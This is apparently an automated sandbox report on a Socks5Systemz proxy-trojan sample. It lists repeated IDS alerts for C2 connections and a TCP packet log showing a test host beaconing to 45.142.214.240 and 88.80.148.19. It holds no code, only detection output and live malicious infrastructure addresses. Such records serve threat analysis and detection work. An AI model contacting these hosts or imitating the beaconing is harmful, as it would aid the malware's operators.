03/29/24-12:59:22.033829	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49770	80	192.168.2.4	45.142.214.240
03/29/24-12:59:01.268339	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49744	80	192.168.2.4	45.142.214.240
03/29/24-12:59:34.777689	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49786	80	192.168.2.4	45.142.214.240
03/29/24-12:59:37.106191	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49789	80	192.168.2.4	45.142.214.240
03/29/24-12:59:07.153408	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49750	80	192.168.2.4	45.142.214.240
03/29/24-12:59:43.547929	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49795	80	192.168.2.4	45.142.214.240
03/29/24-12:59:21.394081	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49769	80	192.168.2.4	45.142.214.240
03/29/24-12:59:49.480506	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49803	80	192.168.2.4	45.142.214.240
03/29/24-12:59:46.108211	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49799	80	192.168.2.4	45.142.214.240
03/29/24-12:59:44.183959	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49796	80	192.168.2.4	45.142.214.240
03/29/24-13:00:01.144442	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49817	80	192.168.2.4	45.142.214.240
03/29/24-12:59:56.055877	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49812	80	192.168.2.4	45.142.214.240
03/29/24-12:58:58.279145	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49740	80	192.168.2.4	45.142.214.240
03/29/24-12:59:52.205310	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49806	80	192.168.2.4	45.142.214.240
03/29/24-12:59:16.918885	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49762	80	192.168.2.4	45.142.214.240
03/29/24-12:59:44.826160	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49797	80	192.168.2.4	45.142.214.240
03/29/24-12:58:59.965425	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49742	80	192.168.2.4	45.142.214.240
03/29/24-12:59:36.058657	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49788	80	192.168.2.4	45.142.214.240
03/29/24-12:59:02.340536	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49745	80	192.168.2.4	45.142.214.240
03/29/24-12:59:59.031292	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49814	80	192.168.2.4	45.142.214.240
03/29/24-12:59:42.903229	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49794	80	192.168.2.4	45.142.214.240
03/29/24-12:59:09.075777	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49753	80	192.168.2.4	45.142.214.240
03/29/24-12:59:07.805203	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49751	80	192.168.2.4	45.142.214.240
03/29/24-12:59:53.482569	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49808	80	192.168.2.4	45.142.214.240
03/29/24-12:59:25.184508	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49773	80	192.168.2.4	45.142.214.240
03/29/24-12:59:20.124059	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49767	80	192.168.2.4	45.142.214.240
03/29/24-13:00:03.080619	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49820	80	192.168.2.4	45.142.214.240
03/29/24-12:59:11.403065	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49756	80	192.168.2.4	45.142.214.240
03/29/24-12:59:32.856145	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49783	80	192.168.2.4	45.142.214.240
03/29/24-12:59:28.169308	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49777	80	192.168.2.4	45.142.214.240
03/29/24-12:59:54.762452	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49810	80	192.168.2.4	45.142.214.240
03/29/24-12:59:50.109189	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49804	80	192.168.2.4	45.142.214.240
03/29/24-13:00:02.442251	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49819	80	192.168.2.4	45.142.214.240
03/29/24-12:58:57.434224	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49736	80	192.168.2.4	45.142.214.240
03/29/24-12:59:08.435175	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49752	80	192.168.2.4	45.142.214.240
03/29/24-13:00:01.795965	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49818	80	192.168.2.4	45.142.214.240
03/29/24-12:59:56.055877	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49812	80	192.168.2.4	45.142.214.240
03/29/24-12:59:13.121896	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49758	80	192.168.2.4	45.142.214.240
03/29/24-12:59:33.499589	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49784	80	192.168.2.4	45.142.214.240
03/29/24-12:59:15.452590	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49761	80	192.168.2.4	45.142.214.240
03/29/24-12:59:54.123875	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49809	80	192.168.2.4	45.142.214.240
03/29/24-12:59:49.480506	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49803	80	192.168.2.4	45.142.214.240
03/29/24-12:59:00.626740	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49743	80	192.168.2.4	45.142.214.240
03/29/24-12:59:14.816268	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49760	80	192.168.2.4	45.142.214.240
03/29/24-12:59:50.109189	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49804	80	192.168.2.4	45.142.214.240
03/29/24-12:59:12.050126	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49757	80	192.168.2.4	45.142.214.240
03/29/24-12:59:22.033829	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49770	80	192.168.2.4	45.142.214.240
03/29/24-12:59:27.122910	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49776	80	192.168.2.4	45.142.214.240
03/29/24-12:59:41.029454	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49793	80	192.168.2.4	45.142.214.240
03/29/24-12:59:05.059289	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49748	80	192.168.2.4	45.142.214.240
03/29/24-12:59:20.124059	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49767	80	192.168.2.4	45.142.214.240
03/29/24-12:59:26.471385	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49775	80	192.168.2.4	45.142.214.240
03/29/24-12:59:06.106340	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49749	80	192.168.2.4	45.142.214.240
03/29/24-12:59:19.483683	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49766	80	192.168.2.4	45.142.214.240
03/29/24-12:59:51.153063	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49805	80	192.168.2.4	45.142.214.240
03/29/24-12:59:48.841670	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49802	80	192.168.2.4	45.142.214.240
03/29/24-12:59:18.842102	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49765	80	192.168.2.4	45.142.214.240
03/29/24-12:59:30.918916	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49780	80	192.168.2.4	45.142.214.240
03/29/24-12:58:59.965425	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49742	80	192.168.2.4	45.142.214.240
03/29/24-13:00:02.442251	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49819	80	192.168.2.4	45.142.214.240
03/29/24-12:59:12.050126	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49757	80	192.168.2.4	45.142.214.240
03/29/24-12:59:34.137988	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49785	80	192.168.2.4	45.142.214.240
03/29/24-12:59:16.918885	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49762	80	192.168.2.4	45.142.214.240
03/29/24-12:59:32.856145	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49783	80	192.168.2.4	45.142.214.240
03/29/24-12:58:58.916637	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49741	80	192.168.2.4	45.142.214.240
03/29/24-12:59:27.122910	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49776	80	192.168.2.4	45.142.214.240
03/29/24-12:59:56.945215	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49813	80	192.168.2.4	45.142.214.240
03/29/24-12:59:46.108211	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49799	80	192.168.2.4	45.142.214.240
03/29/24-12:59:34.777689	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49786	80	192.168.2.4	45.142.214.240
03/29/24-12:59:20.762171	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49768	80	192.168.2.4	45.142.214.240
03/29/24-12:59:07.805203	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49751	80	192.168.2.4	45.142.214.240
03/29/24-12:59:42.903229	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49794	80	192.168.2.4	45.142.214.240
03/29/24-12:59:33.499589	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49784	80	192.168.2.4	45.142.214.240
03/29/24-12:59:35.421196	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49787	80	192.168.2.4	45.142.214.240
03/29/24-12:59:03.387980	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49746	80	192.168.2.4	45.142.214.240
03/29/24-13:00:01.795965	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49818	80	192.168.2.4	45.142.214.240
03/29/24-12:59:08.435175	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49752	80	192.168.2.4	45.142.214.240
03/29/24-12:59:41.029454	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49793	80	192.168.2.4	45.142.214.240
03/29/24-12:59:28.814022	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49778	80	192.168.2.4	45.142.214.240
03/29/24-12:59:15.452590	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49761	80	192.168.2.4	45.142.214.240
03/29/24-12:59:47.153192	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49800	80	192.168.2.4	45.142.214.240
03/29/24-12:59:06.106340	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49749	80	192.168.2.4	45.142.214.240
03/29/24-12:59:10.764656	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49755	80	192.168.2.4	45.142.214.240
03/29/24-12:59:37.749118	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49790	80	192.168.2.4	45.142.214.240
03/29/24-13:00:03.080619	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49820	80	192.168.2.4	45.142.214.240
03/29/24-12:58:58.916637	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49741	80	192.168.2.4	45.142.214.240
03/29/24-12:59:54.123875	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49809	80	192.168.2.4	45.142.214.240
03/29/24-12:59:59.031292	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49814	80	192.168.2.4	45.142.214.240
03/29/24-12:59:53.482569	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49808	80	192.168.2.4	45.142.214.240
03/29/24-12:59:59.675457	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49815	80	192.168.2.4	45.142.214.240
03/29/24-12:59:45.464018	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49798	80	192.168.2.4	45.142.214.240
03/29/24-12:59:20.762171	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49768	80	192.168.2.4	45.142.214.240
03/29/24-12:59:48.841670	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49802	80	192.168.2.4	45.142.214.240
03/29/24-12:59:23.090769	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49771	80	192.168.2.4	45.142.214.240
03/29/24-12:59:05.059289	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49748	80	192.168.2.4	45.142.214.240
03/29/24-12:59:51.153063	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49805	80	192.168.2.4	45.142.214.240
03/29/24-12:59:38.599677	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49791	80	192.168.2.4	45.142.214.240
03/29/24-12:59:18.842102	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49765	80	192.168.2.4	45.142.214.240
03/29/24-12:59:55.404429	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49811	80	192.168.2.4	45.142.214.240
03/29/24-12:59:25.828412	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49774	80	192.168.2.4	45.142.214.240
03/29/24-13:00:00.317751	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49816	80	192.168.2.4	45.142.214.240
03/29/24-12:59:14.816268	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49760	80	192.168.2.4	45.142.214.240
03/29/24-12:59:43.547929	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49795	80	192.168.2.4	45.142.214.240
03/29/24-12:59:01.268339	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49744	80	192.168.2.4	45.142.214.240
03/29/24-12:59:56.945215	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49813	80	192.168.2.4	45.142.214.240
03/29/24-12:59:30.918916	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49780	80	192.168.2.4	45.142.214.240
03/29/24-12:59:10.122007	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49754	80	192.168.2.4	45.142.214.240
03/29/24-12:59:37.106191	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49789	80	192.168.2.4	45.142.214.240
03/29/24-12:59:07.153408	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49750	80	192.168.2.4	45.142.214.240
03/29/24-12:59:52.843294	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49807	80	192.168.2.4	45.142.214.240
03/29/24-12:59:34.137988	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49785	80	192.168.2.4	45.142.214.240
03/29/24-12:59:14.168811	TCP	2050112	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	49759	80	192.168.2.4	45.142.214.240
03/29/24-12:59:29.458062	TCP	2049467	ET TROJAN [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	49779	80	192.168.2.4	45.142.214.240

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 29, 2024 12:58:53.805278063 CET	49736	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:58:54.025074005 CET	80	49736	45.142.214.240	192.168.2.4
Mar 29, 2024 12:58:54.025191069 CET	49736	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:58:54.025398016 CET	49736	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:58:54.245042086 CET	80	49736	45.142.214.240	192.168.2.4
Mar 29, 2024 12:58:54.341233015 CET	80	49736	45.142.214.240	192.168.2.4
Mar 29, 2024 12:58:54.341332912 CET	49736	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:58:54.346235037 CET	49737	2023	192.168.2.4	88.80.148.19
Mar 29, 2024 12:58:54.552602053 CET	2023	49737	88.80.148.19	192.168.2.4
Mar 29, 2024 12:58:54.552692890 CET	49737	2023	192.168.2.4	88.80.148.19
Mar 29, 2024 12:58:54.552833080 CET	49737	2023	192.168.2.4	88.80.148.19
Mar 29, 2024 12:58:54.759058952 CET	2023	49737	88.80.148.19	192.168.2.4
Mar 29, 2024 12:58:54.759731054 CET	49737	2023	192.168.2.4	88.80.148.19
Mar 29, 2024 12:58:54.965931892 CET	2023	49737	88.80.148.19	192.168.2.4
Mar 29, 2024 12:58:54.966330051 CET	2023	49737	88.80.148.19	192.168.2.4
Mar 29, 2024 12:58:55.009177923 CET	49737	2023	192.168.2.4	88.80.148.19
Mar 29, 2024 12:58:56.981125116 CET	49736	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:58:57.200521946 CET	80	49736	45.142.214.240	192.168.2.4
Mar 29, 2024 12:58:57.321274996 CET	80	49736	45.142.214.240	192.168.2.4
Mar 29, 2024 12:58:57.321410894 CET	49736	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:58:57.434223890 CET	49736	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:58:57.653515100 CET	80	49736	45.142.214.240	192.168.2.4
Mar 29, 2024 12:58:57.738240004 CET	80	49736	45.142.214.240	192.168.2.4
Mar 29, 2024 12:58:57.738471985 CET	49736	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:58:57.739649057 CET	49739	2023	192.168.2.4	88.80.148.19
Mar 29, 2024 12:58:57.945950031 CET	2023	49739	88.80.148.19	192.168.2.4
Mar 29, 2024 12:58:57.946024895 CET	49739	2023	192.168.2.4	88.80.148.19
Mar 29, 2024 12:58:57.946115971 CET	49739	2023	192.168.2.4	88.80.148.19
Mar 29, 2024 12:58:57.946167946 CET	49739	2023	192.168.2.4	88.80.148.19
Mar 29, 2024 12:58:58.059144974 CET	49736	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:58:58.059504986 CET	49740	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:58:58.152240038 CET	2023	49739	88.80.148.19	192.168.2.4
Mar 29, 2024 12:58:58.152633905 CET	2023	49739	88.80.148.19	192.168.2.4
Mar 29, 2024 12:58:58.152699947 CET	49739	2023	192.168.2.4	88.80.148.19
Mar 29, 2024 12:58:58.278652906 CET	80	49736	45.142.214.240	192.168.2.4
Mar 29, 2024 12:58:58.278728962 CET	80	49740	45.142.214.240	192.168.2.4
Mar 29, 2024 12:58:58.278853893 CET	49736	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:58:58.278893948 CET	49740	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:58:58.279145002 CET	49740	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:58:58.498589993 CET	80	49740	45.142.214.240	192.168.2.4
Mar 29, 2024 12:58:58.586544991 CET	80	49740	45.142.214.240	192.168.2.4
Mar 29, 2024 12:58:58.586616039 CET	49740	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:58:58.699589014 CET	49740	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:58:58.699914932 CET	49741	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:58:58.916260004 CET	80	49741	45.142.214.240	192.168.2.4
Mar 29, 2024 12:58:58.916424036 CET	49741	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:58:58.916636944 CET	49741	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:58:58.919060946 CET	80	49740	45.142.214.240	192.168.2.4
Mar 29, 2024 12:58:58.919145107 CET	49740	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:58:59.133052111 CET	80	49741	45.142.214.240	192.168.2.4
Mar 29, 2024 12:58:59.219975948 CET	80	49741	45.142.214.240	192.168.2.4
Mar 29, 2024 12:58:59.220051050 CET	49741	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:58:59.340393066 CET	49741	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:58:59.340682030 CET	49742	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:58:59.556740046 CET	80	49741	45.142.214.240	192.168.2.4
Mar 29, 2024 12:58:59.556808949 CET	49741	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:58:59.557995081 CET	80	49742	45.142.214.240	192.168.2.4
Mar 29, 2024 12:58:59.558079004 CET	49742	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:58:59.558298111 CET	49742	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:58:59.775963068 CET	80	49742	45.142.214.240	192.168.2.4
Mar 29, 2024 12:58:59.854916096 CET	80	49742	45.142.214.240	192.168.2.4
Mar 29, 2024 12:58:59.855061054 CET	49742	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:58:59.965425014 CET	49742	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:00.182905912 CET	80	49742	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:00.274084091 CET	80	49742	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:00.274226904 CET	49742	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:00.406862020 CET	49742	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:00.407176971 CET	49743	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:00.624646902 CET	80	49742	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:00.624802113 CET	49742	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:00.626153946 CET	80	49743	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:00.626243114 CET	49743	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:00.626739979 CET	49743	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:00.845482111 CET	80	49743	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:00.923988104 CET	80	49743	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:00.924118996 CET	49743	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:01.044995070 CET	49743	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:01.045376062 CET	49744	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:01.266232967 CET	80	49743	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:01.266318083 CET	49743	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:01.268094063 CET	80	49744	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:01.268163919 CET	49744	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:01.268338919 CET	49744	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:01.489006996 CET	80	49744	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:01.578259945 CET	80	49744	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:01.578353882 CET	49744	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:01.706271887 CET	49744	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:01.706584930 CET	49745	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:01.923901081 CET	80	49745	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:01.924040079 CET	49745	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:01.924237967 CET	49745	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:01.926774979 CET	80	49744	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:01.926851034 CET	49744	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:02.141653061 CET	80	49745	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:02.229691982 CET	80	49745	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:02.229748011 CET	49745	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:02.340536118 CET	49745	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:02.559200048 CET	80	49745	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:02.636924028 CET	80	49745	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:02.637011051 CET	49745	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:02.751641035 CET	49745	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:02.751964092 CET	49746	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:02.969068050 CET	80	49745	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:02.969146967 CET	49745	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:02.972357035 CET	80	49746	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:02.972430944 CET	49746	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:02.972625017 CET	49746	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:03.193037033 CET	80	49746	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:03.279911041 CET	80	49746	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:03.279987097 CET	49746	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:03.387979984 CET	49746	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:03.608721018 CET	80	49746	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:03.695990086 CET	80	49746	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:03.696019888 CET	80	49746	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:03.696142912 CET	49746	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:03.697427034 CET	49747	2023	192.168.2.4	88.80.148.19
Mar 29, 2024 12:59:03.903623104 CET	2023	49747	88.80.148.19	192.168.2.4
Mar 29, 2024 12:59:03.903755903 CET	49747	2023	192.168.2.4	88.80.148.19
Mar 29, 2024 12:59:03.903882027 CET	49747	2023	192.168.2.4	88.80.148.19
Mar 29, 2024 12:59:03.903939962 CET	49747	2023	192.168.2.4	88.80.148.19
Mar 29, 2024 12:59:04.012270927 CET	49746	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:04.012624025 CET	49748	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:04.110052109 CET	2023	49747	88.80.148.19	192.168.2.4
Mar 29, 2024 12:59:04.110074997 CET	2023	49747	88.80.148.19	192.168.2.4
Mar 29, 2024 12:59:04.110341072 CET	2023	49747	88.80.148.19	192.168.2.4
Mar 29, 2024 12:59:04.110393047 CET	49747	2023	192.168.2.4	88.80.148.19
Mar 29, 2024 12:59:04.232958078 CET	80	49746	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:04.233067989 CET	49746	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:04.233402967 CET	80	49748	45.142.214.240	192.168.2.4
Mar 29, 2024 12:59:04.233489037 CET	49748	80	192.168.2.4	45.142.214.240
Mar 29, 2024 12:59:04.233731985 CET	49748	80	192.168.2.4	45.142.214.240
